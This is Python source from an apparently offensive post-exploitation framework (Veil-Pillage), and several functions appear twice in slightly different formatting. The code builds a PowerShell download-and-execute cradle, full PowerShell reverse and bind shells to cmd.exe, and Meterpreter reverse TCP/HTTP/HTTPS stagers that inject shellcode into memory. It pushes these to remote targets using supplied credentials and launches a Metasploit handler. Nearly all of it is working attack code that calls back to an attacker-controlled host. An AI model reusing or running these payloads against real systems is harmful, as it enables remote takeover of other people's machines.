def powershellTrigger(targets, username, password, url, scriptArguments="", triggerMethod="wmis", outFile=None, noArch=False): """ Trigger a specific url to download a powershell script from. url - the full url (http/https) to download the second stage script from scriptArguments - the arguments to pass to the script we're invoking outFile - if you want to the script to output to a file for later retrieval, put a path here noArch - don't do the arch-independent launcher """ # this surpasses the length-limit implicit to smbexec I'm afraid :( if triggerMethod.lower() == "smbexec": print helpers.color( "\n\n [!] Error: smbexec will not work with powershell invocation", warning=True) raw_input(" [*] press any key to return: ") return "" # if we get a single target, make it into a list if type(targets) is str: targets = [targets] # if the url doesn't start with http/https, assume http if not url.lower().startswith("http"): url = "http://" + url if scriptArguments.lower() == "none": scriptArguments = "" # powershell command to download/execute our secondary stage, # plus any scriptArguments we want to tack onto execution (i.e. PowerSploit) # for https, be sure to turn off warnings for self-signed certs in case we're hosting if url.lower().startswith("https"): downloadCradle = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};IEX (New-Object Net.WebClient).DownloadString('" + url + "');" + scriptArguments else: downloadCradle = "IEX (New-Object Net.WebClient).DownloadString('" + url + "');" + scriptArguments # get the encoded powershell command triggerCMD = helpers.encPowershell(downloadCradle, noArch=noArch) # if we want to get output from the final execution, append it if outFile: triggerCMD += " > " + outFile # execute the powershell trigger command on each target for target in targets: print "\n [*] Executing command on " + target out = command_methods.executeCommand(target, username, password, triggerCMD, triggerMethod)
def powershellTrigger(targets, username, password, url, scriptArguments="", triggerMethod="wmis", outFile=None, noArch=False): """ Trigger a specific url to download a powershell script from. url - the full url (http/https) to download the second stage script from scriptArguments - the arguments to pass to the script we're invoking outFile - if you want to the script to output to a file for later retrieval, put a path here noArch - don't do the arch-independent launcher """ # this surpasses the length-limit implicit to smbexec I'm afraid :( if triggerMethod.lower() == "smbexec": print helpers.color("\n\n [!] Error: smbexec will not work with powershell invocation",warning=True) raw_input(" [*] press any key to return: ") return "" # if we get a single target, make it into a list if type(targets) is str: targets = [targets] # if the url doesn't start with http/https, assume http if not url.lower().startswith("http"): url = "http://" + url if scriptArguments.lower() == "none": scriptArguments = "" # powershell command to download/execute our secondary stage, # plus any scriptArguments we want to tack onto execution (i.e. PowerSploit) # for https, be sure to turn off warnings for self-signed certs in case we're hosting if url.lower().startswith("https"): downloadCradle = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};IEX (New-Object Net.WebClient).DownloadString('"+url+"');"+scriptArguments else: downloadCradle = "IEX (New-Object Net.WebClient).DownloadString('"+url+"');"+scriptArguments # get the encoded powershell command triggerCMD = helpers.encPowershell(downloadCradle, noArch=noArch) # if we want to get output from the final execution, append it if outFile: triggerCMD += " > " + outFile # execute the powershell trigger command on each target for target in targets: print "\n [*] Executing command on "+target out = command_methods.executeCommand(target, username, password, triggerCMD, triggerMethod)
def run(self): # assume single set of credentials username, password = self.creds[0] triggerMethod = self.required_options["trigger_method"][0] shell = self.required_options["shell"][0] lhost = self.required_options["lhost"][0] lport = self.required_options["lport"][0] spawnHandler = self.required_options["spawn_handler"][0] # start building the handler in case we want to invoke it handler = "use exploit/multi/handler" # the pure powershell windows_reverse_tcp shell revTCPShell = """function cleanup { if ($c.Connected -eq $true) {$c.Close()} if ($p.ExitCode -ne $null) {$p.Close()} exit} $c = New-Object system.net.sockets.tcpclient $c.connect('%s','%s') $stream = $c.GetStream() $n = New-Object System.Byte[] $c.ReceiveBufferSize $p = New-Object System.Diagnostics.Process $p.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe' $p.StartInfo.RedirectStandardInput = 1 $p.StartInfo.RedirectStandardOutput = 1 $p.StartInfo.UseShellExecute = 0 $p.Start() $is = $p.StandardInput $o = $p.StandardOutput Start-Sleep 1 $encoding = new-object System.Text.AsciiEncoding while($o.Peek() -ne -1){$out += $encoding.GetString($o.Read())} $stream.Write($encoding.GetBytes($out),0,$out.Length) $out = $null; $done = $false; while (-not $done) { if ($c.Connected -ne $true) {cleanup} $pos = 0; $i = 1 while (($i -gt 0) -and ($pos -lt $n.Length)) { $read = $stream.Read($n,$pos,$n.Length - $pos) $pos+=$read; if ($pos -and ($n[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0) { $string = $encoding.GetString($n,0,$pos) $is.write($string) start-sleep 1 if ($p.ExitCode -ne $null) {cleanup} else { $out = $encoding.GetString($o.Read()) while($o.Peek() -ne -1){ $out += $encoding.GetString($o.Read()); if ($out -eq $string) {$out = ''}} $stream.Write($encoding.GetBytes($out),0,$out.length) $out = $null $string = $null}} else {cleanup}}""" % (lhost, lport) bindTCPShell = """$en = new-object System.Text.AsciiEncoding $ep = new-object System.Net.IpEndpoint ([System.Net.Ipaddress]::any, "%s") $l = new-object System.Net.Sockets.TcpListener $ep $l.start() $socket = $l.AcceptTcpClient() $ns = $socket.GetStream() $nb = New-Object System.Byte[] $socket.ReceiveBufferSize $p = New-Object System.Diagnostics.Process $p.StartInfo.FileName = "C:\\windows\\system32\\cmd.exe" $p.StartInfo.RedirectStandardInput = 1 $p.StartInfo.RedirectStandardOutput = 1 $p.StartInfo.UseShellExecute = 0 $p.Start() $is = $p.StandardInput $os = $p.StandardOutput Start-Sleep 1 while($os.Peek() -ne -1){ $string += $en.GetString($os.Read())} $ns.Write($en.GetBytes($string),0,$string.Length) $string = '' $done = $false while (-not $done) { $pos = 0 $i = 1 while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read = $ns.Read($nb,$pos,$nb.Length - $pos) $pos+=$read if ($pos -and ($nb[0..$($pos-1)] -contains 10)){break}} if ($pos -gt 0) { $string = $en.GetString($nb,0,$pos) $is.write($string) $out = $en.GetString($os.Read()) while($os.Peek() -ne -1){$out += $en.GetString($os.Read())} $ns.Write($en.GetBytes($out),0,$out.length) $out = $null} else {$done = $true}} """ % (lport) # if the user specific a reverse_tcp shell if shell.lower() == "rev_tcp": # make sure we have lhost filled in if lhost == "none": print helpers.color(" [!] 'lhost' required for rev_tcp! ", warning=True) raw_input("\n [>] Press enter to continue: ") return "" # get the encoded powershell trigger command triggerCMD = helpers.encPowershell(revTCPShell) handler += "\nset PAYLOAD windows/shell_reverse_tcp" handler += "\nset LHOST " + lhost handler += "\nset LPORT " + lport handler += "\nset ExitOnSession false" handler += "\nexploit -j\n" f = open('/tmp/handler.rc', 'w') f.write(handler) f.close() # build and spawn a handler for the reverse shell if spawnHandler.lower() == "true": handlerPath = "/tmp/handler.rc" # command to spawn a new tab cmd = "gnome-terminal --tab -t \"Veil-Pillage Handler\" -x bash -c \"echo ' [*] Spawning Metasploit handler...' && msfconsole -r '" + handlerPath + "'\"" # invoke msfconsole with the handler script in a new tab os.system(cmd) raw_input("\n\n [>] Press enter when handler is ready: ") # bind_tco shell is easier :) elif shell.lower() == "bind_tcp": triggerCMD = helpers.encPowershell(bindTCPShell) else: print helpers.color( "\n [!] Shell not recognized: please enter rev_tcp or bind_tcp\n", warning=True) raw_input("\n [>] Press enter to continue: ") return "" # execute the powershell trigger command on each target for target in self.targets: # trigger the command and set output as appropriate print "\n [*] Triggering powershell shell '" + shell.lower( ) + "' with lhost=" + lhost + " and lport=" + lport + " on " + target self.output += "[*] Triggering powershell shell '" + shell.lower( ) + "' with lhost=" + lhost + " and lport=" + lport + " using creds '" + username + ":" + password + "' on " + target + "\n" command_methods.executeCommand(target, username, password, triggerCMD, triggerMethod) # build our cleanup file -> kill all powershell processes killCMD = "taskkill /f /im powershell.exe" self.cleanup += "executeCommand|" + target + "|" + username + "|" + password + "|" + killCMD + "|" + triggerMethod + "\n"
def run(self): # assume single set of credentials username, password = self.creds[0] triggerMethod = self.required_options["trigger_method"][0] shell = self.required_options["shell"][0] lhost = self.required_options["lhost"][0] lport = self.required_options["lport"][0] spawnHandler = self.required_options["spawn_handler"][0] # start building the handler in case we want to invoke it handler = "use exploit/multi/handler" # the pure powershell windows_reverse_tcp shell revTCPShell = """function cleanup { if ($c.Connected -eq $true) {$c.Close()} if ($p.ExitCode -ne $null) {$p.Close()} exit} $c = New-Object system.net.sockets.tcpclient $c.connect('%s','%s') $stream = $c.GetStream() $n = New-Object System.Byte[] $c.ReceiveBufferSize $p = New-Object System.Diagnostics.Process $p.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe' $p.StartInfo.RedirectStandardInput = 1 $p.StartInfo.RedirectStandardOutput = 1 $p.StartInfo.UseShellExecute = 0 $p.Start() $is = $p.StandardInput $o = $p.StandardOutput Start-Sleep 1 $encoding = new-object System.Text.AsciiEncoding while($o.Peek() -ne -1){$out += $encoding.GetString($o.Read())} $stream.Write($encoding.GetBytes($out),0,$out.Length) $out = $null; $done = $false; while (-not $done) { if ($c.Connected -ne $true) {cleanup} $pos = 0; $i = 1 while (($i -gt 0) -and ($pos -lt $n.Length)) { $read = $stream.Read($n,$pos,$n.Length - $pos) $pos+=$read; if ($pos -and ($n[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0) { $string = $encoding.GetString($n,0,$pos) $is.write($string) start-sleep 1 if ($p.ExitCode -ne $null) {cleanup} else { $out = $encoding.GetString($o.Read()) while($o.Peek() -ne -1){ $out += $encoding.GetString($o.Read()); if ($out -eq $string) {$out = ''}} $stream.Write($encoding.GetBytes($out),0,$out.length) $out = $null $string = $null}} else {cleanup}}""" %(lhost, lport) bindTCPShell = """$en = new-object System.Text.AsciiEncoding $ep = new-object System.Net.IpEndpoint ([System.Net.Ipaddress]::any, "%s") $l = new-object System.Net.Sockets.TcpListener $ep $l.start() $socket = $l.AcceptTcpClient() $ns = $socket.GetStream() $nb = New-Object System.Byte[] $socket.ReceiveBufferSize $p = New-Object System.Diagnostics.Process $p.StartInfo.FileName = "C:\\windows\\system32\\cmd.exe" $p.StartInfo.RedirectStandardInput = 1 $p.StartInfo.RedirectStandardOutput = 1 $p.StartInfo.UseShellExecute = 0 $p.Start() $is = $p.StandardInput $os = $p.StandardOutput Start-Sleep 1 while($os.Peek() -ne -1){ $string += $en.GetString($os.Read())} $ns.Write($en.GetBytes($string),0,$string.Length) $string = '' $done = $false while (-not $done) { $pos = 0 $i = 1 while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read = $ns.Read($nb,$pos,$nb.Length - $pos) $pos+=$read if ($pos -and ($nb[0..$($pos-1)] -contains 10)){break}} if ($pos -gt 0) { $string = $en.GetString($nb,0,$pos) $is.write($string) $out = $en.GetString($os.Read()) while($os.Peek() -ne -1){$out += $en.GetString($os.Read())} $ns.Write($en.GetBytes($out),0,$out.length) $out = $null} else {$done = $true}} """ %(lport) # if the user specific a reverse_tcp shell if shell.lower() == "rev_tcp": # make sure we have lhost filled in if lhost == "none": print helpers.color(" [!] 'lhost' required for rev_tcp! ", warning=True) raw_input("\n [>] Press enter to continue: ") return "" # get the encoded powershell trigger command triggerCMD = helpers.encPowershell(revTCPShell) handler += "\nset PAYLOAD windows/shell_reverse_tcp" handler += "\nset LHOST " + lhost handler += "\nset LPORT " + lport handler += "\nset ExitOnSession false" handler += "\nexploit -j\n" f = open('/tmp/handler.rc', 'w') f.write(handler) f.close() # build and spawn a handler for the reverse shell if spawnHandler.lower() == "true": handlerPath = "/tmp/handler.rc" # command to spawn a new tab cmd = "gnome-terminal --tab -t \"Veil-Pillage Handler\" -x bash -c \"echo ' [*] Spawning Metasploit handler...' && msfconsole -r '" + handlerPath + "'\"" # invoke msfconsole with the handler script in a new tab os.system(cmd) raw_input("\n\n [>] Press enter when handler is ready: ") # bind_tco shell is easier :) elif shell.lower() == "bind_tcp": triggerCMD = helpers.encPowershell(bindTCPShell) else: print helpers.color("\n [!] Shell not recognized: please enter rev_tcp or bind_tcp\n", warning=True) raw_input("\n [>] Press enter to continue: ") return "" # execute the powershell trigger command on each target for target in self.targets: # trigger the command and set output as appropriate print "\n [*] Triggering powershell shell '"+shell.lower()+"' with lhost="+lhost+" and lport="+lport+" on "+target self.output += "[*] Triggering powershell shell '"+shell.lower()+"' with lhost="+lhost+" and lport="+lport+" using creds '"+username+":"+password+"' on "+target+"\n" command_methods.executeCommand(target, username, password, triggerCMD, triggerMethod) # build our cleanup file -> kill all powershell processes killCMD = "taskkill /f /im powershell.exe" self.cleanup += "executeCommand|"+target+"|"+username+"|"+password+"|"+killCMD+"|"+triggerMethod+"\n"
def run(self): # assume single set of credentials username, password = self.creds[0] triggerMethod = self.required_options["trigger_method"][0] stager = self.required_options["stager"][0] lhost = self.required_options["lhost"][0] lport = self.required_options["lport"][0] spawnHandler = self.required_options["spawn_handler"][0] # start building the handler in case we want to invoke it handler = "use exploit/multi/handler" # the pure powershell windows/meterpreter/reverse_tcp stager revTCPStager = """$c = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); "@ try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp) $s.Connect('%s', %s) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0 $y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,32,[System.Net.Sockets.SocketFlags]::None) } for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]} $t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40) [System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length) $t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %(lhost, lport) # the pure powershell windows/meterpreter/reverse_http stager revHTTPStager = """$q = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); "@ try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray() function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)} function t {$f = "";1..3|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;} function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}} function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";} $m = New-Object System.Net.WebClient;$m.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)") $n = g; [Byte[]] $p = $m.DownloadData("http://%s:%s/$n" ) $o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru $x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length) $o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %(lhost, lport) # the pure powershell windows/meterpreter/reverse_https stager revHTTPSStager = """$q = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); "@ try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray() function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)} function t {$f = "";1..3|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;} function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}} function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";} [Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient; $m.Headers.Add("user-agent", "Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)");$n = g; [Byte[]] $p = $m.DownloadData("https://%s:%s/$n" ) $o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru $x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length) $o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %(lhost, lport) # get the encoded powershell trigger command if stager.lower() == "rev_tcp": triggerCMD = helpers.encPowershell(revTCPStager) handler += "\nset PAYLOAD windows/meterpreter/reverse_tcp" elif stager.lower() == "rev_http": triggerCMD = helpers.encPowershell(revHTTPStager) handler += "\nset PAYLOAD windows/meterpreter/reverse_http" elif stager.lower() == "rev_https": triggerCMD = helpers.encPowershell(revHTTPSStager) handler += "\nset PAYLOAD windows/meterpreter/reverse_https" else: print helpers.color("\n [!] Stager not recognized: please enter rev_tcp, rev_http, or rev_https\n", warning=True) raw_input("\n [>] Press enter to continue: ") return "" # finish off the handler and write it to the tmp directory handler += "\nset LHOST " + lhost handler += "\nset LPORT " + lport handler += "\nset ExitOnSession false" handler += "\nexploit -j\n" f = open('/tmp/handler.rc', 'w') f.write(handler) f.close() # build and spawn a handler for the invoked payload if spawnHandler.lower() == "true": handlerPath = "/tmp/handler.rc" # command to spawn a new tab cmd = "gnome-terminal --tab -t \"Veil-Pillage Handler\" -x bash -c \"echo ' [*] Spawning Metasploit handler...' && msfconsole -r '" + handlerPath + "'\"" # invoke msfconsole with the handler script in a new tab os.system(cmd) raw_input("\n\n [>] Press enter when handler is ready: ") # execute the powershell trigger command on each target for target in self.targets: # trigger the command and set output as appropriate print "\n [*] Triggering powershell stager '"+stager.lower()+"' with lhost="+lhost+" and lport="+lport+" on "+target self.output += "[*] Triggering powershell stager '"+stager.lower()+"' with lhost="+lhost+" and lport="+lport+" using creds '"+username+":"+password+"' on "+target+"\n" command_methods.executeCommand(target, username, password, triggerCMD, triggerMethod) # build our cleanup file -> kill all powershell processes killCMD = "taskkill /f /im powershell.exe" self.cleanup += "executeCommand|"+target+"|"+username+"|"+password+"|"+killCMD+"|"+triggerMethod+"\n"